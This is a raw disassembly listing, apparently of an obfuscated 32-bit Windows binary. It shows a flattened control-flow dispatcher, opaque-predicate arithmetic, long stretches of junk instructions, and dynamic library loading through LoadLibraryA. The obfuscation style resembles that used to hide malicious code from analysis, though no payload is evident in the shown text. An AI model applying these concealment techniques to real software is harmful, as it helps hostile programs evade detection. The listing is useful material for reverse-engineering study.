or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xddb5a820
and esi, 0x224a57df
or ecx, esi
mov esi, ecx
xor esi, 0x58144022
xor ecx, 0xa76bbfdd
mov edx, ecx
and edx, 0x5880c5c
and esi, 0xfa77f3a3
or esi, edx
mov edx, eax
xor edx, 0x2047b100
xor eax, 0x4080400
and eax, 0x5880c5c
and edx, 0xfa77f3a3
or edx, eax
xor edx, esi
mov esi, 0xc2f4437b
not edx
or edx, ecx
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x482580], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0x4adb3fd9
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x429c3ca4
and edi, 0xbd63c35a
and edx, 0x27f37d5c
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xd80c82a3
mov ebx, esi
not ebx
and esi, 0xbd63c35b
or eax, edx
or ecx, ebx
and ebx, 0x429c3ca4
mov edx, eax
xor edx, 0xd80c82a3
xor eax, 0x27f37d5c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x9a2abd55
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne ah
cmp dword [0x482580], 0xa
setge ch
setl dl
mov al, ch
and ch, cl
xor al, ah
and ah, dl
or dl, cl
or ch, ah
xor dl, 1
mov ah, al
or dl, ch
xor ah, 1
mov ecx, edx
mov ch, dl
not cl
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor al, cl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x2807acf1
cmovne edx, esi
test al, 1
mov esi, 0x2807acf1
mov eax, edx
cmovne eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401d70
mov eax, 0xc4b806a0
jmp 0x401d70
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xb2561bed
mov eax, edx
and eax, 0x32061064
and ecx, edx
not edx
and edx, 0x80500b89
or eax, edx
mov edx, eax
xor edx, 0x10061004
xor eax, 0xcdf9ef9b
mov esi, eax
and esi, 0x2bd040f9
and edx, 0x90061b04
or edx, esi
mov esi, ecx
not esi
and ecx, 0xd42fbf06
or eax, esi
and esi, 0x2bd040f9
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb2561bed
and ecx, 0x4da9e412
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0x3287b4a6
and eax, 0xfee9b858
mov edx, ecx
and ecx, 0x11647a6
and esi, 0x3287b4a7
and edx, 0xcd784b58
or ecx, eax
or edx, esi
mov esi, 0xcc5b3627
xor ecx, 0x11647a6
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x5c10c0c9
and edx, 0xa3ef3f36
or edx, ecx
mov eax, edx
xor eax, 0x80c02120
xor edx, 0x5000c048
and edx, 0x732fde5e
and eax, 0x8cd021a1
or eax, edx
mov ecx, eax
xor ecx, 0x410d865e
xor eax, 0x8000000
and eax, 0x3a225800
and ecx, 0xc5dda7ff
or ecx, eax
xor ecx, 0xc5dda7ff
sete ah
setne cl
cmp dword [0x482580], 0xa
setl dl
setge al
mov dh, dl
mov ch, al
or dl, ah
xor ch, cl
and dh, cl
or cl, al
and al, ah
or al, dh
and cl, ch
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x5c38c633
cmovne eax, esi
test dl, dl
mov edx, 0x5c38c633
cmove eax, edx
test cl, 1
cmovne eax, esi
jmp 0x401d70
cmp byte [ebp - 0x73], 0
mov eax, 0xf4ab46a7
mov ecx, 0x4faa7e05
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov eax, 0x6339042f
jmp 0x401d70
mov eax, 0x75d7b9e4
jmp 0x401d70
mov eax, dword [ebp - 0x100]
mov eax, 0x978ebf43
jmp 0x401d70
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, 0xbbf302a1
jmp 0x401d70
mov eax, dword [ebp - 0x48]
mov eax, 0x9431f582
jmp 0x401d70
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x1d4], eax
mov eax, 0x42c844ec
jmp 0x401d70
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x94e7ca61
jmp 0x401d70
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x57e0d382
mov eax, edx
and eax, 0x14200102
and ecx, edx
not edx
and edx, 0x43c0d280
or eax, edx
mov edx, eax
xor edx, 0x4000102
xor eax, 0xebdffefd
mov esi, eax
and esi, 0xd17090cd
and edx, 0x6804302
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2e8f6f32
or eax, esi
and esi, 0xd17090cd
or ecx, esi
not eax
mov esi, 0xfb3304b4
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x57e0d382
and ecx, 0xa81f2c7d
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdf634441
and ecx, 0x209cbbbe
or eax, ecx
xor eax, 0xdf634441
sete dl
setne ah
cmp dword [0x482580], 0xa
setge al
setl ch
mov cl, al
xor al, ah
and ah, ch
or ch, dl
xor ch, 1
and cl, dl
or al, ch
or cl, ah
mov edx, eax
mov ah, cl
xor dl, 1
and ah, al
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0xb275328c
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0xb275328c
cmovne edx, ecx
jmp 0x40c875
mov eax, dword [ebp - 0x28]
mov eax, 0x8e78f7ce
jmp 0x401d70
mov eax, 0x70344eac
jmp 0x401d70
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x84]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.004225a0
add esp, 0xc
and eax, 0x3b
imul edi
rcr ebx, 0xd3
sbb edx, 6
imul ebx
bswap ebx
rol edi, 0xc3
add edi, 0xac
rol esi, 0x40
rcr edx, 0x6d
sub edi, 0x8e
imul esi
rol edi, 0x91
sbb eax, 0x50
not eax
rol eax, 0x6b
inc ebx
sub ebx, 0x41
add eax, 0xc7
inc ebx
neg eax
and ebx, 0xb7
neg esi
imul ebx
imul edi
rol edi, 0x51
dec edx
or esi, 0xd7
rol edi, 0xda
neg esi
add esi, 0xca
inc edi
bswap esi
not eax
neg edx
and esi, 0x32
bswap eax
imul edx
rol edx, 0x38
or esi, 0x48
add esi, 7
bswap esi
imul esi
rcl edi, 0xc0
neg eax
neg eax
and esi, 0xbf
sbb edi, 0xca
sbb eax, 0x48
imul edi
inc ebx
rol esi, 0xf5
rcl ebx, 0x75
bswap edi
rcl esi, 0xfd
inc edx
rcl edx, 0x3c
inc ebx
mov eax, 0xfb
imul edx
bswap edi
inc eax
or edx, 0x7c
ror edi, 0xcf
ror esi, 4
inc edi
or edi, 0x7f
mov esi, 0xbb
imul ebx
bswap edx
add esi, 0xb1
imul eax
inc esi
dec ebx
not ebx
bswap ebx
sbb edx, 0xb3
imul ebx
not esi
not esi
sbb eax, 0xef
imul eax
sbb eax, 0x26
inc eax
or edx, 0x69
neg ebx
inc edi
neg edx
ror edx, 0xc
bswap ebx
inc eax
sub edi, 0xa2
rol eax, 0x35
inc ebx
sub ebx, 0xad
sbb eax, 0xc1
not esi
neg edx
neg ebx
or edx, 0xed
bswap esi
sbb eax, 0xcc
rcl edx, 0xad
bswap edi
or ebx, 0x77
not ebx
rcl ebx, 0x36
neg ebx
or edx, 0xce
rol edx, 0xf0
neg edi
dec edx
dec eax
inc edi
sub ebx, 0x4a
sbb edx, 0x1b
not ebx
bswap edi
or edi, 0xa
neg edi
add edi, 0x16
bswap edi
bswap edx
imul edi
imul edi
or edi, 0xd2
add edx, 0x28
mov edx, 1
inc eax
mov ebx, 0x4e
ror eax, 0x52
sbb edi, 0x5c
not esi
rcr eax, 0x78
dec eax
bswap esi
bswap esi
mov ebx, 0xca
mov esi, 0xa3
mov eax, 0x7a
and eax, 0xc4
bswap esi
not ebx
ror ebx, 0x54
rcl ebx, 0xd2
bswap edx
inc esi
sbb eax, 0xf8
neg esi
inc edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, 0xe4c7aab3
jmp 0x401d70
cmp byte [ebp - 0x7d], 0
mov eax, 0x44a8bfd8
mov ecx, 0x8aeb14c6
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x38]
mov eax, 0x567d96c4
jmp 0x401d70
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1cc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x6478efa0
jmp 0x401d70
mov eax, 0xfef31e8d
jmp 0x401d70
mov eax, 0x9ac220fe
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x93b0c586
and eax, 1
mov edx, ecx
and edx, 0x6c4f3a78
or esi, edx
xor esi, 0x93b0c586
or eax, esi
mov esi, 0x9f1c528d
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x482580], 0xa
setl ch
setge al
mov dl, ch
xor al, ah
or cl, ch
xor dl, ah
or ah, ch
and al, ch
xor ah, 1
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
mov edx, eax
xor dl, 1
xor cl, 1
and al, dl
or cl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or dl, cl
or al, ah
xor al, cl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0x1870b59c
cmovne ecx, esi
test dl, dl
mov edx, 0x1870b59c
cmovne edx, ecx
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x8c0c803
mov ecx, edx
and ecx, 0x540213e0
and edx, 0xd24da991
or esi, ecx
mov ecx, eax
xor ecx, 0x5cc2dbe3
and ecx, eax
xor esi, 0x8c0c803
and eax, 0x2db2566e
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x5cc2dbe2
and esi, 0xa33d241d
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xd190aa60
mov esi, edx
and esi, 0x2e6f559f
or ecx, esi
mov esi, eax
xor esi, 0x1900260
xor eax, 0x24d0191
and eax, 0x2e6f559f
and esi, 0xd190aa60
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x62b00aff
setne al
cmp dword [0x482580], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov ch, cl
xor dl, 1
xor ch, dl
or dl, cl
mov eax, edx
xor al, ch
mov eax, 0xad3de8a3
cmovne esi, eax
test dl, dl
mov eax, 0x62b00aff
cmovne eax, esi
test ch, ch
cmove eax, esi
jmp 0x401d70
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x2cea2a4e
mov esi, eax
and esi, 0xfffffffe
and eax, 0xd315d5b1
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xd315d5b1
mov edi, esi
and edi, 0x2cea2a4e
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xff1c1d73
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x482580], 0xa
setl cl
setge al
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xcf47dd8d
cmovne ecx, esi
test al, al
mov eax, 0xcf47dd8d
jmp 0x40cd04
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xb817ddad
andn edx, eax, esi
and esi, eax
not eax
mov ecx, esi
mov ebx, edx
not ecx
not ebx
and esi, 0x658819af
and edx, 0x658819af
and eax, 0xfffffffe
mov edi, ecx
or ecx, ebx
and edi, 0x9a77e650
and ebx, 0x9a77e650
or esi, edi
or edx, ebx
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x3cb3514f
and edx, 0xc34caeb0
or ecx, edx
xor ecx, 0x7b5b731c
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x4fd73cb6
and edx, 0xb028c349
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb028c349
or eax, esi
and esi, 0x4fd73cb6
or ecx, esi
not eax
mov esi, 0x9df6c162
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa9749dc8
mov edx, ecx
and edx, 0x568b6237
or eax, edx
xor eax, 0xa9749dc8
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x482580], 0xa
setge al
setl dl
mov cl, al
and ah, dl
and al, ch
or dl, ch
or al, ah
mov ah, dl
xor cl, ch
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
not dl
and dl, cl
xor cl, 1
mov ah, cl
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
mov ecx, 0x7001c94a
cmovne ecx, esi
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
cmove edx, ecx
mov eax, edx
jmp 0x401d70
mov ecx, dword [0x482584]
mov edi, 0xc9f9d575
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4144a909
mov esi, edx
and esi, 0xbebb56f6
and edx, 0xd31bff4e
or ecx, esi
mov esi, ecx
xor esi, 0x1442100
xor ecx, 0x32ab5492
and ecx, 0x72abdc9a
and esi, 0x8d542364
or esi, ecx
mov ecx, eax
or ecx, 0x72abdc9a
and eax, 0x2ce400b1
and ecx, 0x72abdc9b
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xad51e864
and esi, 0x52ae179b
or esi, edx
mov edx, eax
xor edx, 0xa40091
xor eax, 0xd31bff4e
or ecx, eax
and eax, 0xad51e864
and edx, 0x52ae179b
or edx, eax
not ecx
xor edx, esi
mov esi, 0xcd2f8090
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne cl
cmp dword [0x482580], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc9f9d575
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, edi
test dl, 1
cmovne eax, ecx
jmp 0x401d70
mov eax, dword [ebp - 0x18c]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4602423
and eax, 0xe88ccac4
and ecx, 0x13131118
or edx, ecx
xor edx, 0x4602423
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6e7ba97
and ecx, 0xf9184568
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x10940080
xor esi, 0xee6b7053
xor eax, 0x11848000
mov ecx, esi
and esi, 0x72bff2c
and edx, 0xf8d400d3
or ecx, 0xfff
and eax, 0xfdc4a000
or edx, esi
mov edi, ecx
and edi, 0x23b5cd6
mov esi, edx
xor esi, 0xf8c40328
xor edx, 0x72bf0d3
or eax, edi
or ecx, edx
and edx, 0x23b5cd6
and esi, 0xfdc4a329
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xa3b6507a
and eax, 0x5c49af85
or eax, edx
xor eax, 0x5c49af85
or eax, ecx
not eax
add eax, dword [ebp - 0x188]
mov dword [ebp - 0xcc], eax
mov eax, 0x4def9379
jmp 0x401d70
mov ecx, dword [0x482584]
mov edi, 0x3ad947fa
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8540881e
mov esi, edx
and esi, 0x7abf77e0
and edx, 0x9469b915
or esi, ecx
mov ecx, eax
or ecx, 0x8540881e
and eax, 0x6b9646ea
and ecx, 0x8540881f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x86ef3491
mov esi, edx
and esi, 0x7910cb6e
or ecx, esi
mov esi, eax
xor esi, 0x2860480
xor eax, 0x10008904
and eax, 0x7910cb6e
and esi, 0x86ef3491
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xa07722e2
sete ch
setne ah
cmp dword [0x482580], 0xa
setge al
setl dl
mov cl, al
xor cl, ah
mov dh, cl
and cl, al
and al, ch
and dh, ah
and ah, dl
or dl, ch
mov bl, dh
or al, ah
xor dh, cl
xor cl, 1
mov ah, dl
xor bl, 1
xor al, 1
or cl, bl
xor ah, al
or al, dl
mov ebx, 0x3ad947fa
xor cl, 1
xor al, 1
or al, ah
or cl, dh
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
mov edx, dword [ebp - 0xe8]
cmovne eax, ebx
mov dword [ebp - 0x114], edx
jmp 0x401d70
mov eax, 0x56bc81f6
jmp 0x401d70
mov eax, 0xe50b74a8
jmp 0x401d70
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1ac]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xc0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, 0x9e023d39
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 2
mov eax, 0xa91f0f38
jmp 0x401d70
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
add eax, 8
mov dword [ebp - 0x17c], eax
mov eax, 0x2e55aba1
jmp 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x4c92e19
and eax, 0x3334d122
and ecx, 0xc80200c4
or edx, ecx
xor edx, 0x4c92e19
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8ce65e41
and ecx, 0x7319a1be
or eax, ecx
mov ecx, eax
xor eax, 0x96508820
xor ecx, 0x402d709c
mov edx, ecx
and eax, 0xd651883c
and ecx, 0x29ae77c3
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x29ae77c2
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x48869cb8
and ecx, 0xb7796347
or eax, ecx
mov ecx, eax
xor ecx, 0x480418a0
xor eax, 0xb7796347
mov esi, eax
and esi, 0x81a3c619
and ecx, 0x7e5c39e6
or ecx, esi
mov esi, edx
not esi
and edx, 0x7e5c39e6
or eax, esi
and esi, 0x81a3c619
or edx, esi
not eax
mov esi, 0x4bcd3fac
xor edx, ecx
or eax, edx
setne dl
sete ah
cmp dword [0x482580], 0xa
mov dh, dl
setge cl
setl ch
mov al, cl
or cl, dl
xor dl, ch
and dh, ch
xor ch, ah
xor cl, 1
and al, ah
xor dl, 1
or cl, ch
or al, dh
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
and cl, al
xor ah, 1
and dl, ah
or dl, cl
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov ecx, 0xf2c2b88c
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xf2c2b88c
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401d70
mov eax, 0xa225629e
jmp 0x401d70
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x1b8], eax
mov eax, 0x6c7b0e
jmp 0x401d70
mov eax, dword [ebp - 0x88]
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xbdee29e8
mov esi, eax
not esi
mov ecx, eax
or ecx, 0x4211d617
and edx, eax
mov edi, ecx
and edi, 0x42510c65
and esi, 0xbdae2188
mov ebx, edx
not ebx
and edx, 0xbdaef39a
or esi, edi
or ecx, ebx
and ebx, 0x42510c65
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x110982f3
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa83ec816
and edx, 0x57c137e9
or ecx, edx
mov edx, ecx
xor edx, 0x15d0e1ff
xor ecx, 0xea2f1e00
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
sete cl
setne dl
cmp dword [0x482580], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
xor dl, 1
mov edx, 0x91add286
cmovne edx, esi
test al, al
mov eax, 0x110982f3
jmp 0x40cfe5
mov eax, 0x7f2eeb0f
jmp 0x401d70
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
xor esi, 0x7f3335c5
and esi, ecx
not ecx
and ecx, 0x7f3335c5
or esi, ecx
mov eax, esi
not eax
and esi, 0xf02cd252
and eax, 0xfd32dad
or esi, eax
mov edx, esi
mov edi, esi
xor edx, 0x8d054013
xor edi, 0x70e01868
xor esi, 0x8040200
mov eax, edi
and eax, 0x42bab7c4
and edx, 0xbd45483b
or edi, 0x7678b9de
and esi, 0x8840220
or edx, eax
mov ecx, edx
mov ebx, edx
xor ecx, 0xbd45483b
xor ebx, 0x34c20e1a
xor edx, 0x89600
and ebx, ecx
or ecx, 1
and edx, 0x980c9618
mov eax, ebx
not eax
and ebx, 0x289403e2
and ecx, 0x67f369e7
mov dword [ebp - 0xa4], eax
and dword [ebp - 0xa4], 0xd76bfc1d
or eax, edi
and edi, 0xd76bfc1d
or ecx, edx
add ebx, dword [ebp - 0xa4]
or esi, edi
not eax
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0x217a34bb
and esi, 0xde85cb44
or eax, esi
mov esi, eax
xor esi, 0x7000904
xor eax, 0xa8fd729b
mov edx, eax
and edx, 0xd86ff4e1
and esi, 0x27900b1e
or esi, edx
mov edx, ecx
xor edx, 0x27900906
xor ecx, 0x980c9618
or eax, ecx
and ecx, 0xd86ff4e1
and edx, 0x27900b1e
or edx, ecx
not eax
xor edx, esi
mov esi, 0x9b6a8a77
or eax, edx
mov ecx, eax
xor ecx, 0x64dfd747
mov edx, eax
and edx, 0x645e1505
and ecx, eax
not eax
and eax, 0x81c242
or edx, eax
xor edx, 0x645e1505
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x5c8754eb
and eax, 0xa378ab14
or ecx, eax
mov eax, ecx
xor eax, 0x180388
xor ecx, 0x1a44c02
and ecx, 0x39e4cc26
and eax, 0xc61b33d9
or eax, ecx
mov ecx, eax
xor ecx, 0x6182180
xor eax, 0x2164c006
and eax, 0xe167d25f
and ecx, 0x1e982da0
or ecx, eax
xor ecx, 0x1e982da0
sete al
setne cl
cmp dword [0x482580], 0xa
setge dl
mov ah, dl
and al, dl
or dl, cl
mov ch, dl
inc ah
and ah, cl
xor ch, 1
mov cl, dl
and cl, ch
or al, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
and cl, al
xor al, 1
xor ah, 1
and ah, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe4f9c53e
cmovne edx, esi
test al, al
mov eax, 0xe4f9c53e
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x401d70
mov eax, 0x93268c72
jmp 0x401d70
mov eax, dword [ebp - 0x70]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg esi
bswap edi
add eax, 3
sbb eax, 0xf7
neg eax
inc ebx
not eax
rol esi, 0x12
or edx, 0x71
dec edi
imul ebx
or esi, 0x43
sub ebx, 0xda
and eax, 0x9c
and ebx, 0xe0
ror esi, 0x5e
rcr esi, 0x9f
dec esi
not edx
imul esi
bswap esi
and eax, 0x4d
inc ebx
bswap edi
neg ebx
imul edx
sbb edx, 0x91
bswap eax
rcl ebx, 0xac
add edi, 0xb5
imul edi
rcl edx, 0xd2
imul ebx
bswap edi
rol eax, 0x10
sub edi, 0xdf
inc edi
rcr ebx, 0xe3
bswap esi
imul edx
sbb esi, 0x18
not eax
not edx
mov esi, 0x21
rcr edi, 0x97
inc eax
sbb edi, 0x30
bswap eax
rol edi, 0xe3
or esi, 0xa
bswap esi
rcl esi, 0x9d
sbb ebx, 0x42
bswap esi
mov esi, 0xa6
rol edi, 0xca
rcr esi, 0x34
dec edi
ror ebx, 0x3f
and eax, 0xfe
ror eax, 0x5a
add edi, 0x22
dec eax
dec eax
sub edi, 0x90
dec esi
imul esi
dec edx
rcr ebx, 7
neg ebx
dec edx
sbb esi, 0x6e
and eax, 0x5c
dec edx
imul edi
not edi
rcr esi, 0x44
inc ebx
rol eax, 0xab
and edx, 0x33
bswap esi
sub edx, 0xc7
ror edx, 0xfd
rol edi, 0xf3
ror edx, 0x52
add eax, 0xc1
or edi, 0xd
sub edx, 0xb8
mov edi, 0x64
neg ebx
sbb esi, 0x64
dec edx
rcr edx, 0xa2
mov edx, 0x28
rcl ebx, 0xb
ror eax, 0xbe
dec ebx
inc esi
inc edi
neg edx
and eax, 0x3f
rcr eax, 0x32
sbb esi, 0x48
not esi
bswap edx
inc edi
bswap edi
add ebx, 9
neg eax
imul ebx
add edx, 0x2b
sub eax, 0x67
not esi
add ebx, 0x54
bswap eax
inc ebx
rcl ebx, 0x19
imul esi
bswap ebx
rcl edi, 0x1c
rol edx, 0x96
mov esi, 0xd1
bswap eax
add edi, 0x25
bswap esi
not ebx
mov esi, 9
bswap ebx
not esi
mov edx, 1
ror ebx, 0x6b
bswap eax
rol eax, 0x37
ror esi, 0x66
and eax, 0x4d
sbb ebx, 0x66
neg edx
bswap edx
rcl edi, 0xe1
rcl eax, 0x6c
add edx, 0x81
rol ebx, 0x26
add ebx, 0x9d
imul esi
imul eax
rol edx, 0x69
not edi
imul esi
dec eax
inc ebx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
mov eax, 0xd4dcfb84
jmp 0x401d70
mov eax, 0x2807acf1
jmp 0x401d70
mov eax, 0x9f60d4e
jmp 0x401d70
